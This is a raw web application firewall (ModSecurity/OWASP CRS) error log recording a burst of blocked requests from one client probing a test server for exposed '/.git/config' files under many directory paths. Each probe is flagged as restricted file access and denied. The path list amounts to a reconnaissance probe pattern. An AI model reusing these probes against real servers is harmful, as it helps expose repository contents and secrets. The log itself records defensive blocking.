[Sat Oct 26 05:36:16.125635 2024] [:error] [pid 2872369] [client 179.43.189.138:55740] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhAAAAAI&quot;]
[Sat Oct 26 05:36:16.125823 2024] [:error] [pid 2872369] [client 179.43.189.138:55740] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhAAAAAI&quot;]
[Sat Oct 26 05:36:16.129789 2024] [:error] [pid 2872392] [client 179.43.189.138:55746] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCwAAAAU&quot;]
[Sat Oct 26 05:36:16.130024 2024] [:error] [pid 2872392] [client 179.43.189.138:55746] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCwAAAAU&quot;]
[Sat Oct 26 05:36:16.130204 2024] [:error] [pid 2872392] [client 179.43.189.138:55746] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCwAAAAU&quot;]
[Sat Oct 26 05:36:16.131798 2024] [:error] [pid 2872370] [client 179.43.189.138:55758] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msQAAAAM&quot;]
[Sat Oct 26 05:36:16.132038 2024] [:error] [pid 2872370] [client 179.43.189.138:55758] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msQAAAAM&quot;]
[Sat Oct 26 05:36:16.132243 2024] [:error] [pid 2872370] [client 179.43.189.138:55758] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msQAAAAM&quot;]
[Sat Oct 26 05:36:16.132399 2024] [:error] [pid 2872367] [client 179.43.189.138:55772] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /extensions/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjowAAAAA&quot;]
[Sat Oct 26 05:36:16.132581 2024] [:error] [pid 2872367] [client 179.43.189.138:55772] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjowAAAAA&quot;]
[Sat Oct 26 05:36:16.132779 2024] [:error] [pid 2872367] [client 179.43.189.138:55772] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjowAAAAA&quot;]
[Sat Oct 26 05:36:16.133861 2024] [:error] [pid 2872371] [client 179.43.189.138:55788] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /drupal/sites/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrwAAAAQ&quot;]
[Sat Oct 26 05:36:16.134053 2024] [:error] [pid 2872371] [client 179.43.189.138:55788] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrwAAAAQ&quot;]
[Sat Oct 26 05:36:16.134275 2024] [:error] [pid 2872371] [client 179.43.189.138:55788] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrwAAAAQ&quot;]
[Sat Oct 26 05:36:16.135206 2024] [:error] [pid 2872368] [client 179.43.189.138:55806] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /docs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pQAAAAE&quot;]
[Sat Oct 26 05:36:16.135433 2024] [:error] [pid 2872368] [client 179.43.189.138:55806] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pQAAAAE&quot;]
[Sat Oct 26 05:36:16.135621 2024] [:error] [pid 2872368] [client 179.43.189.138:55806] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1pQAAAAE&quot;]
[Sat Oct 26 05:36:16.135792 2024] [:error] [pid 2872436] [client 179.43.189.138:55798] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /prestashop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqggAAAAY&quot;]
[Sat Oct 26 05:36:16.135980 2024] [:error] [pid 2872436] [client 179.43.189.138:55798] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqggAAAAY&quot;]
[Sat Oct 26 05:36:16.136154 2024] [:error] [pid 2872436] [client 179.43.189.138:55798] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqggAAAAY&quot;]
[Sat Oct 26 05:36:16.148245 2024] [:error] [pid 2872369] [client 179.43.189.138:55816] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /documentation/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhQAAAAI&quot;]
[Sat Oct 26 05:36:16.148460 2024] [:error] [pid 2872369] [client 179.43.189.138:55816] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhQAAAAI&quot;]
[Sat Oct 26 05:36:16.148636 2024] [:error] [pid 2872369] [client 179.43.189.138:55816] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQhQAAAAI&quot;]
[Sat Oct 26 05:36:16.151719 2024] [:error] [pid 2872392] [client 179.43.189.138:55818] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDAAAAAU&quot;]
[Sat Oct 26 05:36:16.151876 2024] [:error] [pid 2872392] [client 179.43.189.138:55818] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDAAAAAU&quot;]
[Sat Oct 26 05:36:16.152028 2024] [:error] [pid 2872392] [client 179.43.189.138:55818] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUDAAAAAU&quot;]
[Sat Oct 26 05:36:16.153690 2024] [:error] [pid 2872370] [client 179.43.189.138:55826] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msgAAAAM&quot;]
[Sat Oct 26 05:36:16.153861 2024] [:error] [pid 2872370] [client 179.43.189.138:55826] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msgAAAAM&quot;]
[Sat Oct 26 05:36:16.154018 2024] [:error] [pid 2872370] [client 179.43.189.138:55826] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9msgAAAAM&quot;]
[Sat Oct 26 05:36:16.154487 2024] [:error] [pid 2872367] [client 179.43.189.138:55832] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /lib/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpAAAAAA&quot;]
[Sat Oct 26 05:36:16.154724 2024] [:error] [pid 2872367] [client 179.43.189.138:55832] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpAAAAAA&quot;]
[Sat Oct 26 05:36:16.154988 2024] [:error] [pid 2872367] [client 179.43.189.138:55832] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjpAAAAAA&quot;]
[Sat Oct 26 05:36:16.155936 2024] [:error] [pid 2872371] [client 179.43.189.138:55844] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /bower_components/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PsAAAAAQ&quot;]
